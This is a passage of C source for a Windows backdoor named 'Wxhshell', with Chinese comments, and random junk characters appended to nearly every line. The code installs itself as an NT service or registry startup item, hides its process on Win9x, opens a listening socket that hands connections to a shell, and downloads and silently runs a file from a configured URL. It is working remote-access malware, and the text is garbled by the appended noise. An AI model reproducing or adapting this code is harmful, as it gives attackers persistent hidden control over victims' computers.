W]~ZkQ|P
PROCNTQSIP NtQueryInformationProcess; 2;R/.xI6v
W^ClHQ"Iy
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $9m5bQcV
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; htg'tA^CtS
'5cZzC
2
HANDLE hProcess; h*waRD
PROCESS_BASIC_INFORMATION pbi; | /#'S&!U
;q&Z9lm
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T Xl\hL\+
if(NULL == hInst ) return 0; L)G">T;
r
&c_4%y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [+7"{UvT
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !pV<n
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1G_xP^H!
a}GAB@YI
if (!NtQueryInformationProcess) return 0; Vd[2u
KPg[-d
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <mn-=#)
if(!hProcess) return 0; @d
P~X
Wb'*lT0=
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1YFAr}M
ty9rH=1
CloseHandle(hProcess); Z#@6#S`
5#BF,-Jv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >VypE8H]x
if(hProcess==NULL) return 0; 9$EHK
r)%4-XeV
HMODULE hMod; c_[ JjG^?P
char procName[255]; XNK
43fkB.
unsigned long cbNeeded; e)br`CD%
M;> ha,x
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cnC_#kp
*\C}Ok=
CloseHandle(hProcess); }RH lYN
<f[9j u
if(strstr(procName,"services")) return 1; // 以服务启动 +%x^ RV}
4KZ SL:A
return 0; // 注册表启动 hxP6C6S
} w4`!Te
`GP3D~
// 主模块 @<VG8{
int StartWxhshell(LPSTR lpCmdLine) - =yTAx
{ wiKCr/
SOCKET wsl; _RgxKp/d
BOOL val=TRUE; `$f\ %
int port=0; %d ZM9I0
struct sockaddr_in door; JPHUmv6
a{5H33JA
if(wscfg.ws_autoins) Install(); kzW\z4f
q^u6f?B
port=atoi(lpCmdLine); -.^@9
a>
?V.ig
if(port<=0) port=wscfg.ws_port; W6hNJb
'wegipK~R
WSADATA data; h#v L5At
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j}i,G!-u
d|R
HG
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; D1"1MUSod
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S|s3}]g9
door.sin_family = AF_INET; jw%fN!?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5ZZd.9ZgM
door.sin_port = htons(port); l85O-g}M
sn2r>m3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yo'q[YtP'
closesocket(wsl); gt#MeU
return 1; Cq
TH!'N
} ]w5ji
|>M-+@gj
if(listen(wsl,2) == INVALID_SOCKET) { tbL1g{Dz,
closesocket(wsl); axHxqhO7zp
return 1; "[FCQ
} 5ENov!$H
Wxhshell(wsl); 4+BrTGp
WSACleanup(); B'NS&7+].
9)1P+c--
return 0; B b$S^F(Xq
Rv0-vH.n
} ;:-}z.7Y
hQ\#Fhu7
// 以NT服务方式启动 -Mit$mFn
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r[Z g 2
{ {\
A_%
DWORD status = 0; Iwnj'R7:
DWORD specificError = 0xfffffff; `#-p,NElV
-Pv P
serviceStatus.dwServiceType = SERVICE_WIN32; PEMxoe<+
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |p'_k(z}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lqhHbB
serviceStatus.dwWin32ExitCode = 0; /<(R
serviceStatus.dwServiceSpecificExitCode = 0; l#mqV@?A~
serviceStatus.dwCheckPoint = 0; F Bd+=bx,Z
serviceStatus.dwWaitHint = 0; h #$_<U
s0x@
u
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kfH9Y%bOy
if (hServiceStatusHandle==0) return; !NlB%cF
]W89.><%14
status = GetLastError(); n=lggBRx
if (status!=NO_ERROR) c80"8r
{ DN2hv2
serviceStatus.dwCurrentState = SERVICE_STOPPED; KFCQYdI`d
serviceStatus.dwCheckPoint = 0; wWp?HDl"M
serviceStatus.dwWaitHint = 0; |DdW<IT`0
serviceStatus.dwWin32ExitCode = status; .&aVx]
serviceStatus.dwServiceSpecificExitCode = specificError; UHTb61Gs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~hxeD" w
return; C.DoXE7
} Pl`Bd0
W$x K^}
serviceStatus.dwCurrentState = SERVICE_RUNNING; n^g-`
serviceStatus.dwCheckPoint = 0; d
%F/,c-=
serviceStatus.dwWaitHint = 0; [ni-UNTv
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @y&h4^)z
} [346w
<
Th I
// 处理NT服务事件,比如:启动、停止 $D0)j(v
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0B#rqTEKu
{ mP`,I"u
switch(fdwControl) RXCygPT
{ <"j"h=tm}
case SERVICE_CONTROL_STOP: _dH[STT
serviceStatus.dwWin32ExitCode = 0; |\yDgs%EGy
serviceStatus.dwCurrentState = SERVICE_STOPPED; [kU[}FT
serviceStatus.dwCheckPoint = 0; z{<q0.^EFh
serviceStatus.dwWaitHint = 0; AZBY, :>D
{ # UP,;W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b*$o[wO9
} .pNq-T
return; &**.naSo
case SERVICE_CONTROL_PAUSE: i&AXPq>`
serviceStatus.dwCurrentState = SERVICE_PAUSED; jb6ZAT<8
break; 06j)P6Iju
case SERVICE_CONTROL_CONTINUE: DVeF(Y3&
serviceStatus.dwCurrentState = SERVICE_RUNNING; @Reh?]# v
break; P^o"PKA
case SERVICE_CONTROL_INTERROGATE: j:\_*f
break; AmrJ_YP/t~
}; 3oNt]2w/'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bN<O<x1j
} ,sy/rV
\f<thd*bC
// 标准应用程序主函数 *axza~d
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *1;L,*J"|
{ d3\l9R{}
t}* qs
// 获取操作系统版本 LT
y@6*
OsIsNt=GetOsVer(); [jG uO%
GetModuleFileName(NULL,ExeFile,MAX_PATH); _3g %F
yD=)&->Ra
// 从命令行安装 Jq=>H@il
if(strpbrk(lpCmdLine,"iI")) Install(); Qcy+ {j]
;_;H(%uY
// 下载执行文件 NEjBjLJZ
if(wscfg.ws_downexe) { j2C^1:s@m
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^{:[^$f:l
WinExec(wscfg.ws_filenam,SW_HIDE); s^x ,S
} *jqPKK/
'! 2
if(!OsIsNt) { 'j=PbA
// 如果时win9x,隐藏进程并且设置为注册表启动 r]K0
]h@B
HideProc(); 0v,`P4_k
StartWxhshell(lpCmdLine); YH:W]
} r>D[5B
else ]mDsUZf<
if(StartFromService()) #|2g{7g*
// 以服务方式启动 o2t@-dNi
StartServiceCtrlDispatcher(DispatchTable); 4$#ia
F
else O,z%7><
// 普通方式启动 1tK6lrhj
StartWxhshell(lpCmdLine); =V4_DJ(&
vzT6G/
return 0; c_j)8
}